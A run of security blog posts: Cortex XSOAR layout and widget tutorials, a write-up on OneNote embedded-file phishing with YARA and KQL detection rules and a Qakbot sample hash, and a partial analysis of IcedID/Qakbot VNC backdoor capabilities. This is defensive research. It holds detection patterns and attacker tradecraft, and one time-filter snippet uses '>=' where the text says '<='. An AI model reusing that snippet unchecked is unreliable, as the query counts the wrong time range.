In this blogpost, we will focus on the use of dynamic sections to customize layouts in Cortex XSOAR. We will show that they can be used to display raw incident data for debugging purposes without cluttering the main workplace of our analysts.

A dynamic section is a layout element which you can add to a layout tab for either an incident or an indicator.
The fundamental difference between it and most other available layout elements is that it is not bound to displaying incident fields or fields of indicators related to the current incident on display, but instead is purely automation based.
This means that upon being rendered, a dynamic section executes an automation, and it is both the specific format and output of that automation that dictates the style and content that will be rendered.

This is not unlike the behavior of field display scripts, but these will be covered in a later post.

Real World Example

As part of our operations as an MSSP (Managed Security Services Provider), we are often faced with alert ingestion issues or mishaps.

One way these occur is that an alert will be fetched into Cortex XSOAR but some of it’s important features will not have been picked up by our extraction logic. This could materialize as missing fields in indicators or missing indicators all together. We may for example have received an alert for suspicious actions taken by a user, yet that very user was not added to the incident as an indicator, nor were details about these actions.

Incident Info tab of a Cortex XSOAR incident – the name of the incident points to unsanctioned cloud app usage by a user, but neither information about the user nor about the unsanctioned app was extracted.

This could happen in many different ways, most commonly that the exact data scheme used by the tool that generated the alert has changed. When this happens, the information we want to extract is present in the alert we fetch, it’s just not located where we’re used to find it. In such cases, a manual inspection of the raw data that came in is sufficient to identify where the data we want can be found. However, as shown in the next screenshot, manually inspecting the raw data of an incident is not that user friendly in Cortex XSOAR.

View of the “Context Data” of an Cortex XSOAR incident – the presentation of the available data is unsuitable for manual inspection

To make it easier, we built our own dynamic section, which displays curated data from both the labels and some entries of an incident. The result is as follows:


In this example, Azure Active Directory identifiers are available and can be leveraged to get the details of the involved user. In a similar manner, the Cloud Application Id is available.

Our dynamic section is powered by an automation that enumerates the labels of the current incident.

ret_labels = {}
incident = demisto.incident()
if not (isinstance(incident, dict) and "labels" in incident.keys()):
	continue
labels = incident["labels"]
if not isinstance(labels, (list, List)):
	continue
for label in labels:

Similarly, it also enumerates specifically tagged war room entries.

ret_notes = {}
investigation_id = demisto.incident()["id"]
uri = f"investigation/{investigation_id}"
body = {
	"pageSize": 100,
	"categories": [],
	"tags": ["raw_data"],
	"notCategories": [],
	"usersAndOperator": False,
	"tagsAndOperator": False,
}
body = json.dumps(body, indent=4)
args = {"uri": uri, "body": body}
res_cmd = demisto.executeCommand("demisto-api-post", args)
for res in res_cmd:
	if not (isinstance(res, dict) and isinstance(contents := res.get("Contents"), dict)):
		continue
	if not isinstance(response := contents.get("response"), dict):
		continue
	if not isinstance(entries := response.get("entries"), (list, List)):
		continue
	for entry in entries:

Once the incident labels are fetched, we extract their contents:

for label in labels:
	if not isinstance(label, dict):
		continue
	label_type, label_value = label.get("type"), label.get("value")
	if not (isinstance(label_type, str) and isinstance(label_value, str)):
		continue
	try:
		label_value = json.loads(label_value)
	except Exception:
		pass
	try:
		ret_labels.update({label_type: label_value})
	except Exception:
		pass

In a similar fashion, for each returned War Room entry, we extract the name of the parent playbook task and the content of the entry:

for entry in entries:
	key = ""
	if not isinstance(entry, dict):
		continue
	if isinstance(entry_id := entry.get("id"), str):
		key += entry_id
	if isinstance(entry_task := entry.get("entryTask"), dict):
		if isinstance(task_name := entry_task.get("taskName"), str):
			key += " - " + task_name
	value = None
	if isinstance(cnt := entry.get("contents"), str):
		try:
			value = json.loads(cnt)
		except Exception:
			value = cnt
	ret_notes.update({key: value})

To tie it all up, and because our goal is to offer a tree like navigable output, we structure our outputted data into a dictionary.

ret = {
	"notes": ret_notes,
	"labels": ret_labels
}

At that point, we cannot just output this dictionary as is, we need to encapsulate it in a way that will indicate to the layout that we want this layout element to be shown as a JSON tree.

results = CommandResults(raw_response = ret)
return_results(results)

By now, our code is good to go and all we need to do is to edit our incident layout to add a new tab and create a new dynamic section powered by the automation we just built.

In Cortex XSOAR, navigate to Settings, Objects setup, Layouts, and either modify an existing layout or create your own. From there you can add a new General Purpose Dynamic Section.

Once your General Purpose Dynamic Section is added to your layout tab, you can edit it and choose the automation it executes. If your automation does not show up in the list of available ones, make sure you added the “dynamic-section” tag to it.

In this blog post, we have shown you how to display complex data in an incident layout which can be used by a security analyst to provide more context. In future posts, we will present more detailed context additions that tie in nicely with the Cortex XSOAR user interface.

References

Palo Alto Cortex XSOAR documentation: how to add a custom widget to the incident and indicator pages

Microsoft Sentinel Cloud Application Entity Identifiers

About the author

Benjamin Danjoux

Benjamin is a senior engineer in NVISO’s SOAR engineering team.As the SOAR engineering design lead, he is responsible for the overall architecture and organization of the automated workflows running on Palo Alto Cortex XSOAR, which enables the NVISO SOC analysts to detect attackers in customer environments.

OneNote Embedded file abuse

27 February 2023 at 08:00

OneNote in the media

In recent weeks OneNote has gotten a lot of media attention as threat actors are abusing the embedded files feature in OneNote in their phishing campaigns.
I first observed this OneNote abuse in the media via Didier’s post. This was later also mentioned in Xavier’s ISC diary and on the podcast. Later, in the beginning of February, the hacker news covered this as well.

Attack technique

The OneNote feature that is being abused during these phishing campaigns is hiding embedded files behind pictures which entices the user to click the picture. If the picture is clicked, it will execute the file hidden beneath. These files could be executables, JavaScript files, HTML files, PowerShell, …. Basically any type of file that can execute malware when executed. Recently we have also observed the usage of .chm files which have an index.html file embedded that would run inline JavaScript.
On a Windows system this roughly translates to either one of the following processes executing the script/file: 'powershell.exe', 'pwsh.exe', 'wscript.exe', 'cscript.exe', 'mshta.exe', 'cmd.exe', 'hh.exe'.

An image of a malicious embedded OneNote file
An image of a malicious embedded OneNote file

Anatomy of a OneNote file

Didier did amazing work in his blogpost where he described how a OneNote file looks like. What is interesting to us, is that OneNote files work with GUIDs to indicate the start of the embedded file section. The GUID that represents the start of an embedded file in OneNote is: {BDE316E7-2665-4511-A4C4-8D4D0B7A9EAC} Using the following tool we can convert the GUID to a HEX string: e716e3bd65261145a4c48d4d0b7a9eac.
If a HEX editor is used, you can search for this string and find the exact location of the embedded file.
OneNote will then reserve 20 bytes. The first 8 bytes are used to indicate the length of the file, the following 4 bytes are unused and have to be zero, and the last 8 bytes being reserved and also zero. This results in the following HEX string E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 before the embedded file data beings.
When taking a look at the OneNote file through a HEX editor it becomes quickly clear that OneNote does not attempt to encrypt or compress anything. That is if you are looking at a .one file not a .onepkg. A .onepkg file acts similar as a ZIP file that contains the exported files from a OneNote Notebook. It is possible to open these files using 7zip.
The OneNote file (.one) will display the contents of the embedded file as followed:

A OneNote file in a HEX editor, that shows a plaintext embedded file

This means that we can easily check for known false positives while analyzing these files, which brings me to the next point, creating a detection rule.

YARA Rule

It would not be easy to create a detection rule that catches all malicious embedded files as usually scripts do not have a “magic byte” unlike executables which have the famous “MZ” header. While it would be easy to create a YARA rule that looks as the previously observed hex string + the MZ file header, this would only flag embedded executables. If this is your goal then it is a great rule, however I would like something more flexible that I can use on an email gateway to flag all potential malicious incoming OneNote files.
So I took a different approach. I observed that it is common for pictures (e.g.: screenshots) to be embedded in a OneNote file. I did not observe many cases that had other files embedded. This led me to create a YARA rule that would look at a OneNote file, ignore the file sections that indicate that an image is present but would raise an alert when any other file was observed. So instead of looking for Malicious files, I will ignore known legitimate files. This simple trick allowed me to create a high confident detection rule while not overloading analysts with too many false positives.
Of course every environment is different and if it is common for PDF files to be embedded in OneNote files in your environment, you should exclude those PDF files as well. Therefore, it is important to establish a baseline during a testing period.
Below is an example of this technique. The 00‘s after the ?? can be replaced with ?? as well. Although these bytes should always be empty, this rule will not detect the files if the bytes were altered.

rule OneNote_EmbeddedFiles_NoPictures
{
    meta:
        author = "Nicholas Dhaeyer - @DhaeyerWolf"
        date_created = "2023-02-14 - <3"
        date_last_modified = "2023-02-17"
        description = "OneNote files that contain embedded files that are not pictures."
        reference = "https://blog.didierstevens.com/2023/01/22/analyzing-malicious-onenote-documents/"

    strings:
        $EmbeddedFileGUID =  { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC }
        $PNG = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 89 50 4E 47 0D 0A 1A 0A }
        $JPG = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 FF D8 FF }
        $JPG20001 = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0C 6A 50 20 20 0D 0A 87 0A }
        $JPG20002 = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 FF 4F FF 51 }
        $BMP = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 42 4D }
        $GIF = { E7 16 E3 BD 65 26 11 45 A4 C4 8D 4D 0B 7A 9E AC ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 47 49 46 }

    condition:
        $EmbeddedFileGUID and (#EmbeddedFileGUID > #PNG + #JPG + #JPG20001 + #JPG20002 + #BMP + #GIF)
}

The latest version of this rule can be found on my GitHub

The logic behind the rule is as follows; The YARA rule will match any file that has the GUID which defines that an embedded file is present in the OneNote file. Then it will count the amount of GUIDs it has found. If this is more than the amount of GUIDs which are directly followed by an Image file (specified here as #PNG + #JPG + #JPG20001 + #JPG20002 + #BMP + #GIF) then it means that other files are present and the rule matches. If not, then the file only contains images and is assumed to be safe.
After a file is flagged, an analyst should still take a look at the embedded files. DissectMalware created an amazing python script that helps with the extraction of the embedded files. An analyst or automation system can analyze the file and provide more context if the extracted files are malicious or not.

At the time of writing this blogpost I ran my YARA rule on VirusTotal to see if there were any detections. I only looked back 3 weeks and found more than 4000 files that matched the rule. One of which is d2e6629f8bbca3663e1d76a06042bc1d459d81572936242c44ccc6cd896bfd5c and did not have any detections on VirusTotal at the time of writing. When this file is executed (in the screenshot seen as the one with the filename doc.one), Microsoft detected it as being a Qakbot dropper.

MDE blocking a malicious OneNote file infected with Qakbot

One observation That we have made is that a lot of these malicious OneNote files have an embedded file that is inserted from the Z:\builder\ directory. I suspect that this is where the malware builder tool creates the actual malicious file and then inserts it in the OneNote file. If this is the case, then this can be used to identify and link these files to the tool that is used.

I build a quick POC to parse these files which can be found on my GitHub. Additionally, I created a YARA rule on my GitHub that will look for OneNote files that contain these suspicious folder paths

Execution of a script through OneNote

As I was curious what would happen if a script would be executed in OneNote, I created a Proof Of Concept (POC), a small .bat script that would execute the whoami command.

Microsoft MDE Process execution of the embdedded file

As can be observed above, OneNote as the parent process will execute cmd.exe /c {OneNoteFilePath} where a temporary version of the script is stored and this will be executed.
When looking at File creation events, we also observe that this file is created on disk:

FileCreate event for the path: c:\Users\Hera\AppData\Temp\OneNote\16.0\Exported\{CCA4A94E-126B-489B-8B23-2B2C160D42AC}\NT\0\whoami.bat

As a detection rule, it could prove fruitful to detect OneNote spawning any of the lolbins commonly used for script execution such as the previously mentioned ones: 'powershell.exe', 'pwsh.exe', 'wscript.exe', 'cscript.exe', 'mshta.exe', 'cmd.exe', 'hh.exe'. Additionally, looking for file creation or execution events under the path: C:\Users\Hera\AppData\Local\Temp\OneNote\16.0\Exported may give interesting results.

DeviceProcessEvents
| where ProcessCommandLine matches regex @".*C:\\Users\\.*\\AppData\\Local\\Temp\\OneNote\\.*\\Exported\\.*"
DeviceFileEvents
| where FolderPath matches regex @"C:\\Users\\.*\\AppData\\Local\\Temp\\OneNote\\.*\\Exported\\.*"

Observations in production environments

At some point I was confused as I saw all these articles about this new way of delivering malware in the media. However, to this point I had not yet seen one infection or flagged email arrive in our SOC. So I did some digging and it turns out that Microsoft is pretty good at preventing this new way of malware delivery.
So let’s show some statistics:
Over a period of 30 days with one client we observed 255 emails that contain a OneNote file:

255 observed emails of the FileType: “one;onenote”

48 of these 255 are not flagged by Microsoft as malicious. The others have been flagged as malicious, meaning that more than 80% of the OneNote attachments are already known as malicious.

Microsoft detecting malicious emails with the filetype: “one;onenote”

When we actually look at what the impact is, we can see that from the 207 malicious emails, only one was delivered.

Evidence of one malicious email being delivered

Which leads me to conclude that at this moment Microsoft is very good at blocking these emails. My hypothesis is because OneNote embedded files are embedded in plain text and without obfuscation and defense evasion of the threat actor, they are very easy to catch with traditional ways of scanning files. Once this changes we might see more impacted cases being reported.

Conclusion

As threat actors are looking for new ways to deliver their malware, we need to be one step ahead to protect our data and users. And while Microsoft has already proven to detect and block these phishing emails, we need to take in consideration that not everyone is running a Microsoft product and that at some point threat actors will find a way to hide their malware better so that it is not as easily detected.
This blog post was meant to take you step by step through the process of creating a YARA detection rule that can help you prevent being compromised with one of these samples. What should be considered when creating a detection rule like this is that you will have to start from a baseline where you know which embedded files are commonly used within your environment. Although this YARA rule can be used in ‘block’ mode, where it will block every email that matches this rule, it is recommended to use this YARA rule in ‘Alert’ mode where an alert for the SOC team is created, and the email is held until analysis of the attachment is done, as this will minimize the impact of possible legitimate files being blocked.
Additionally, my goal of this blog post is to show that you don’t always have to think about flagging files as malicious. You can also do it the other way around and flag files as legitimate, ignore those and focus your attention on the files that have not been flagged. However, this does require a certain security maturity and takes more time to go through the flagged files.

About the Author

Nicholas Dhaeyer

Nicholas Dhaeyer is a Threat Hunter for NVISO. Nicholas specializes in Malware analysis, Industrial Control System (ICS) / Operational Technology (OT) Security. Nicholas has worked in the NVISO SOC solving security incidents for our MDR clients. You can reach out to Nicholas via Twitter or LinkedIn

Cortex XSOAR Tips & Tricks – Leveraging dynamic sections – number widgets

28 February 2023 at 08:00
Cortex XSOAR TipsTricks – Leveraging dynamic sections

Introduction

Cortex XSOAR is a security oriented automation platform, and one of the areas where it stands out is customization.

A recurring problem in a SOC is data visualization, analysts can be swarmed with information, and finding out what piece of data is currently both relevant and significant can become hard. One of our tasks as SOAR engineers is to ease the decision process for analysts, we do so by providing additional contextual information about the incidents they handle, directly within the incident layout. In this objective, we incorporate number widgets into the analyst interface, these allow us to tell more visual stories about the security incidents we manage in XSOAR. From raw and sometimes unorganized data, they let us bring up eye-catching depictions of elements that can help in assessing the impact and veracity of a detection.

Objectives

In this blogpost, we will focus on the use of number widgets.

We will show you how to make use of them for outputting information to the war room, incidents, indicators and dasbhoards. On top of that we will also cover how to add trends information and even how to integrate them into a dashboard with a dynamic query. In the previous post in the series, we looked at dynamic sections in Cortex XSOAR and how to leverage them to display text in a tree like way. If you are not familiar with Cortex XSOAR and dynamic sections, please read the previous post in the series.

We previously saw that we could use dynamic dections to display text, but there are a few other options available to us. These options are broken down here. In this post, we will:

  • Start with a simple example that runs a static query against Microsoft Sentinel and lets us display a single number widget.
  • Continue with extracting a second number from our query to populate the trend of the number we display.
  • Bring our widget to a dashboard
  • Make our dashboard widget read the date range selected by the user and modify the Sentinel query accordingly.

Let’s begin with a new automation and follow the instructions available in the number widget example of the PaloAlto documentation. When we run their example, we get the following result:

Figure 1: War Room output of the code example available in the Cortext XSOAR documentation

As expected, the example works out of the box. Let’s now go and make the widget display data from Microsoft Sentinel.

A static number from sentinel

To display data pulled from Microsoft Sentinel (Microsoft Azure’s cloud native SIEM), we first need to call an integration command. Here we use an instance of the Azure Log Analytics integration available in the Cortex XSOAR marketplace:

res = demisto.executeCommand(
	"azure-log-analytics-execute-query", {
		"query": THE_QUERY
	}
)

We need a query to run, we will develop it on Sentinel before using it from Cortex XSOAR.

We will be looking at entries in SecurityIncident, a table that holds information about the security incidents present in your Sentinel deployment. We will query that table, and count the number of distinct incidents in a given month. The query we will use for that is the following:

SecurityIncident
| where TimeGenerated between (
    datetime("2022-10-01T00:00:00+00:00")
    ..
    datetime("2022-11-01T00:00:00+00:00"))
| summarize count()
Figure 2: Screenshot of a Microsoft Sentinel query and it’s results: single value

Now that we know our query works, we will port it to Cortex XSOAR. We start by duplicating our previous automation and adding code to call the integration with the Sentinel query.

res = demisto.executeCommand("azure-log-analytics-execute-query", {
"query": """SecurityIncident
| where TimeGenerated between(
	datetime("2022-10-01T00:00:00+00:00")
	..
	datetime("2022-11-01T00:00:00+00:00"))
| summarize count()"""
})

We need to extract the count_ we could observe in the results of Sentinel, let’s inspect the res object returned to us by the integration.

Figure 3: Debug view in PyCharm

Upon inspection of the returned object, we identify that we can use the following logic to extract the count of incidents

counts = []

for result in results:
    if not (
        isinstance(result, dict)
        and
        isinstance(contents := result.get("Contents"), list)
    ):
        continue
    for content in contents:
        if (
            isinstance(content, dict)
            and
            isinstance(count := content.get("count_"), int)
        ):
            counts.append(count)

total_count = sum(counts)

With the total_count obtained, we can simply change the hardcoded number from our previous widget and replace it with the value we just fetched:

demisto.results(
    {
        "Type": 17,
        "ContentsFormat": "number",
        "Contents": {
            "stats": total_count,
            "params": {
                "name": "Incidents Last Month",
                "colors": {
                    "items": {
                        "green": {
                            "value": 40
                        }
                    }
                }
            }
        }
    }
)

In the snippet above we use demisto.results(), this function let’s us write to the standard output that will be read by Cortex XSOAR. More possibilities for returning data from an automation are available in this documentation page: Python code conventions, returning data. Here we use the type 17 in the data we return, this is the type associated to widgets, the list of all defined types is available here.

Upon running our new automation, we get the exact same number previously obtained through Sentinel:

Figure 4: War room view of the widget outputted by the “Single value from Sentinel” code snippet

Adding a trend

We already have the number of alerts from last month pulled into XSOAR and displayed as a widget, let’s continue and also pull the count for the previous month. Our query to Sentinel now becomes:

SecurityIncident
| where TimeGenerated between (
    datetime("2022-10-01T00:00:00+00:00")..
    datetime("2022-11-01T00:00:00+00:00"))
| extend same = 1
| union (
    SecurityIncident
    | where TimeGenerated between (
        datetime("2022-09-01T00:00:00+00:00")..
        datetime("2022-10-01T00:00:00+00:00"))
    | extend same = 2)
| summarize count() by same
Figure 5: Screenshot of a Microsoft Sentinel query and it’s results: two values

Correspondingly, our querying and extracting code becomes:

this_month_counts = list()
last_month_counts = list()

lookup = {
    1: this_month_counts,
    2: last_month_counts
}

for result in results:
    if not (
        isinstance(result, dict)
        and
        isinstance(contents := result.get("Contents"), list)
    ):
        continue
    for content in contents:
        if not isinstance(content, dict):
            continue
        if not isinstance(raw_same_target := content.get("same"), int):
            continue
        same_target = lookup.get(raw_same_target)
        if (
            same_target is not None
            and
            isinstance(count := content.get("count_"), int)
        ):
            same_target.append(count)

total_this_month_counts = sum(this_month_counts)
total_last_month_counts = sum(last_month_counts)

As for the data returned to Cortex XSOAR, the only change is on the stats key which now becomes:

"stats": {
	"prevSum": total_last_month_counts,
	"currSum": total_this_month_counts
}

The resulting widget looks as follows:

Figure 6: War room view of the widget outputted by the “Dual values from Sentinel” code snippet

Moving to incidents and indicators

Until now, we have been displaying our widgets in the war room, however we can also add them to incident and indicator layouts as well. As a reminder, the procedure to add General Purpose Dynamic sections to an incident can be found here: Add a Script to the incident Layout.

Our existing widgets are already compatible with incidents and indicators, after following the instructions above on how to add widgets to incidents, we can get the following layout tab. In a similar fashion after adding the dynamic-indicator-section tag to all three automations, you can also add them as widgets to an indicator layout:

Figure 7: Incident VS Indicator view of the three widgets

Moving to a dashboard

Rendering widgets in a dashboard is actually easier than in an incident layout, to verify this, let’s compare the methods to output a simple number widget, both for an incident and for a dashboard. For an incident, as we already saw earlier, you need to return the actual number, but it needs to be wrapped appropriately:

data = {
    "Type": 17,
    "ContentsFormat": "number",
    "Contents": {
        "stats": 53,
        "params": {
            "layout": "horizontal",
            "name": "Lala",
            "sign": "@",
            "colors": {
                "items": {
                    "#00CD33": {
                        "value": 10
                    },
                    "#FAC100": {
                        "value": 20
                    },
                    "green": {
                        "value": 40
                    }
                }
            },
            "type": "above"
        }
    }
}

demisto.results(data)

In contrast, it is much easier for a dashboard:

result = 10
demisto.results(result)

The difference here is that when building a dashboard, you can access the widget builder:

Figure 8: Dashboard widget editor view

Whereas from an incident, you need to explicitly return metadata defining the look and feel of your widget.

Therefore, if we want to make it possible for our automations to be used from a dashboard too, we need to adapt them to return either a simple value if being called from a dashboard, or a wrapped value if called from an incident or indicator.

Our first addition to the existing scripts will be to identify whether we’re being called from a dashboard, we will use the following snippet for this purpose.

is_dashboard = demisto.args().get("widgetType") is not None

This works because dashboards that have automation based widgets add a special argument when calling these automations. This special argument mentions the expected results type and can be found under the key widgetType, it’s presence is a good indication that your automation has been called from a dashboard.

We can now differentiate our outputted results depending on whether or not we are in a dashboard. For that, we separate our incident/indicator results in two, between the actual data and the wrapper. This snippet exposes the statement above applied to our first automation:

number = 53

data = {
    "Type": 17,
    "ContentsFormat": "number",
    "Contents": {
      "stats": number,
......
if is_dashboard:
    demisto.results(number)
else:
    demisto.results(data)

We do this with our three automations and also add the widget tag to them to make them selectable as source for automation-based dashboard widgets. Once added to a dashboard, our widgets look as follows:

Figure 9: Dashboard view of the three widgets

Getting timeframe data from the dashboard

At this point we are powering our widgets with data from Sentinel, but we are always looking at data from the same timeframe. Because dashboards have a time picker, we can instead start to use that data to determine the timeframe we are querying Sentinel for. Extraction of timeframe data from dashboards was covered in this previous blogpost.

We start by adding this line to our automation:

FromDate, ToDate = (
    NitroDateFactory
    .from_regular_xsoar_date_range_args(
        demisto.args()
    )
)

This gives us two NitroDates we can use to craft our Sentinel queries. In our second script which queries a single timeframe, the code becomes:

from_ = "2022-10-01T00:00:00+00:00"
to_ = "2022-11-01T00:00:00+00:00"

if is_dashboard:
    if isinstance(FromDate, NitroRegularDate):
        from_ = FromDate.to_iso8601()
    else:
        from_ = None
    if isinstance(ToDate, NitroRegularDate):
        to_ = ToDate.to_iso8601()
    else:
        to_ = None

query = "SecurityIncident"

tmp_query_list = list()

if from_ is not None:
    tmp_query_list.append(f'TimeGenerated >= datetime("{from_}")')

if to_ is not None:
    tmp_query_list.append(f'TimeGenerated >= datetime("{to_}")')

if tmp_query_list:
    query += "\n| where " + " and ".join(tmp_query_list)

query += """
| extend same = 1
| summarize count() by same"""

The logic we are modifying is the one describing how we craft our Kusto query (the query langage used in Microsoft Sentinel). We previously always had at our disposal a from_ and a to_ string representing the beginning and end of the timeframe we were interested in. With the selection dashboard date range selector, this is not the case anymore, we may get only a start date if the selector is on “3 days ago to now”, or only an end date if the selector is on “up to 3 days ago”. We must then change the logic we use to craft our query in a way that reflects this change. To accomodate this, we replace the between statement with >= and <= statements used to compare the TimeGenerated of an incident to the dates transmitted by the dashboard.

In a similar fashion, we modify the 3rd automation to calculate both the initial timeframe, and the previous timeframe from the dates passed down by the dashboard.

from_ = "2022-10-01T00:00:00+00:00"
to_ = "2022-11-01T00:00:00+00:00"

from_2 = "2022-09-01T00:00:00+00:00"
to_2 = "2022-10-01T00:00:00+00:00"

if is_dashboard:
    if isinstance(FromDate, NitroRegularDate):
        if isinstance(ToDate, NitroRegularDate):
            td = ToDate.date
        else:
            td = datetime.now(timezone.utc)
        delta = td - FromDate.date
        from2 = NitroRegularDate(date=FromDate.date - delta)
        to2 = FromDate
    else:
        from2 = FromDate
        to2 = ToDate

    if isinstance(FromDate, NitroRegularDate):
        from_ = FromDate.to_iso8601()
    else:
        from_ = None
    if isinstance(ToDate, NitroRegularDate):
        to_ = ToDate.to_iso8601()
    else:
        to_ = None
    if isinstance(from2, NitroRegularDate):
        from_2 = from2.to_iso8601()
    else:
        from_2 = None
    if isinstance(to2, NitroRegularDate):
        to_2 = to2.to_iso8601()
    else:
        to_2 = None

query = "SecurityIncident"

tmp_query_list = list()

if from_ is not None:
    tmp_query_list.append(f"TimeGenerated >= datetime(\"{from_}\")")

if to_ is not None:
    tmp_query_list.append(f"TimeGenerated < datetime(\"{to_}\")")

if tmp_query_list:
    query += "\n| where " + " and ".join(tmp_query_list)

query += """
| extend same = 1
| union (
SecurityIncident"""

tmp_query_list2 = list()

if from_2 is not None:
    tmp_query_list2.append(f"TimeGenerated >= datetime(\"{from_2}\")")

if to_2 is not None:
    tmp_query_list2.append(f"TimeGenerated < datetime(\"{to_2}\")")

if tmp_query_list2:
    query += "\n| where " + " and ".join(tmp_query_list2)

query += """
| extend same = 2)
| summarize count() by same"""

Our dashboard is now fully dynamic, with two widgets presenting data corresponding to the selected timeframe:

Figure 10: Dashboard view of the three widgets, data in third widget corresponds to the selected timeframe: “Today”
Figure 11: Dashboard view of the three widgets, data in third widget corresponds to the selected timeframe: “Last 7 days”

Looking back

We have covered the use of number widgets throughout Cortex XSOAR in pretty much every scenario, and have managed to make use of all the inputs available to us. Although the process used in this post was centered around number widgets, it should be noted that it can be applied to all other types of widgets.

References

Cortex XSOAR documentation: script based widget examples

Cortex XSOAR documentation: script based widget example 2

Microsoft Azure: Sentinel

Cortex XSOAR marketplace: Azure Log Analytics Integration

Cortex XSOAR documentation: Python code conventions

GIthub: Cortex XSOAR source – EntryTypes

Cortex XSOAR documentation: adding a script to an incident layout

About the author

Benjamin Danjoux

Benjamin is a senior engineer in NVISO’s SOAR engineering team.
As the SOAR engineering design lead, he is responsible for the overall architecture and organization of the automated workflows running on Palo Alto Cortex XSOAR, which enables the NVISO SOC analysts to detect attackers in customer environments.

IcedID & Qakbot’s VNC Backdoors: Dark Cat, Anubis & Keyhole

20 March 2023 at 14:45
IcedIDQakbot

IcedID (a.k.a. BokBot) is a popular Trojan who first emerged in 2017 as an Emotet delivery. Originally described as a banking Trojan, IcedID shifted its focus to embrace the extortion/ransom trend and nowadays acts as an initial access broker mostly delivered through malspam campaigns. Over the last few years, IcedID has commonly been seen delivering Cobalt Strike prior to a multitude of ransomware strains such as Conti or REvil.

IcedID itself is composed of multiple modules, one of which is a poorly documented VNC backdoor (Virtual Network Computing) acting as a cross-platform remote desktop solution. Existence of this module (branded “HDESK” or “HDESK bot”) is just partially mentioned by Malwarebytes (2017) and Kaspersky (2021) while its usage has been widely observed and occasionally vulgarized as “Dark VNC”.

As part of our research efforts, NVISO has been analyzing IcedID and Qakbot’s command & control communications. In this blog-post we will share insights into IcedID and Qakbot’s VNC backdoor(s) as seen from an attacker’s perspective, insights we obtained by extracting and reassembling VNC (RFC6143) traffic embedded within private and public captures published by Brad Duncan.

In this post we introduce the three variants we observed as well as their capabilities: Dark Cat, Anubis and Keyhole. We’ll follow by exposing common techniques employed by the operators before revealing information they leaked through their clipboard data.

Bokbot or Qakbot?

This research was originally titled “IcedID’s VNC Backdoors: Dark Cat, Anubis & Keyhole” and focused solely on IcedID (Bokbot). Brad however correctly pointed-out that Dark Cat is only leveraged by Qakbot, samples which were mistakenly included in this research after being confused with Bokbot (IcedID).

IcedID and Qakbot VNC traffic remains extremely similar as can be observed in the following three VNC backdoors.

HDESK Variants

During our analysis of both public and private IcedID and Qakbot network captures, we identified 3 VNC backdoor variants, all part of the HDESK strain. These backdoors are typically activated during the final initial-access stages to initiate hands-on-keyboard activity. Supposedly short for “Hidden Desktop”, HDESK leverages Windows features allowing the backdoor to create a hidden desktop environment not visible to the compromised user. Within this hidden environment, the threat actors can start leveraging the user interface to perform regular tasks such as web browsing, reading mails in Outlook or executing commands through the Command Prompt and PowerShell.

We believe with medium confidence that these backdoors share origins as the the Dark Cat interface (used by Qakbot) has traits that can later be found within Anubis and Keyhole interfaces (used by IcedID).

Dark Cat VNC

The “Dark Cat VNC” variant was first observed in November 2021 and is believed to be the named releases v1.1.2 and v1.1.3 used by Qakbot. Its usage was still extensively observed by the end of 2022. Upon initial access, the home screen presents the operator with multiple options to create new sessions alongside backdoor metrics such as idle time or lock state.

Figure 1: The Dark Cat VNC interface.
Figure 1: The Dark Cat VNC interface.

User Session

Figure 2: A Dark Cat USER session.

The USER session exists in three variations (read, standard and black) which allows the operator to switch the VNC view to the user’s visible desktop.

HDESK Session

The HDESK session exists in three variations as well: standard, Tmp and NM (also called bot). This session type causes the backdoor to create a new hidden desktop not visible to the compromised user.

Based on the activity we observed, the HDESK sessions are (understandably) preferred by the operators.

Figure 3: A Dark Cat HDESK session.

As HDESK sessions by default do not benefit from Windows’s built-in UI, operators are presented with an alternative start-menu to launch common programs. In Dark Cat these are Chrome, Firefox, Internet Explorer, Outlook, Command Prompt, Run and the Task Manager. A Windows Shell button is also foreseen which we believe, if used, will spawn the regular Windows UI most of the users are used to. Starting with Dark Cat v1.1.3 Edge Chromium furthermore joins the list of available software.

Figure 4: The Dark Cat HDESK session interface.
Figure 4: The Dark Cat HDESK session interface.

Besides the alternate start-menu, operators can access some settings using the top-left orange icon which includes:

  • Defining the hidden windows’ sizes.
  • Defining the Chrome profile to use (lite or not).
  • Deleting the browser’s profile(s).
  • Killing the child process(es).
Figure 5: The Dark Cat HDESK settings interface.

WebCam Session

The WebCam sessions exist in three variations. While we were unable to capture its usage (honeypots lack webcams and operators do not attempt to use this session kind), its presence suggests IcedID’s VNC backdoors are capable of capturing compromised devices’ webcam feeds.

Anubis VNC

The “Anubis VNC” variant was first observed in January 2022 and is believed to be the named release v1.2.0 used by IcedID. Its usage was last observed in Q3 2022. No capability differences were observed between Anubis and Dark Cat v1.1.3.

Figure 6: The Anubis VNC interface.
Figure 6: The Anubis VNC interface.

KEYHOLE VNC

The “KEYHOLE VNC” variant was first observed in October 2022 and is believed to be the named releases v1.3 as well as v2.1. Its usage was observed as recently as Q1 2023.

Grayscale

The first major change observed within Keyhole is its new color palette capability where operators can pick regular RGB (a.k.a. colored) or Grayscaled (a.k.a. black & white) feeds. The actual intend of this feature is unclear as, at least from a network perspective, both RGB and Grayscale consume as many bytes per pixel, resulting in equal performances.

Figure 7: The Keyhole color palette selector.
Figure 7: The Keyhole color palette selector.

HDESK Sessions

Keyhole v1.3 provides a refreshed start-menu where icons have been updated and options renamed; The once cryptic Win Shell option has been rebranded to the My Computer option.

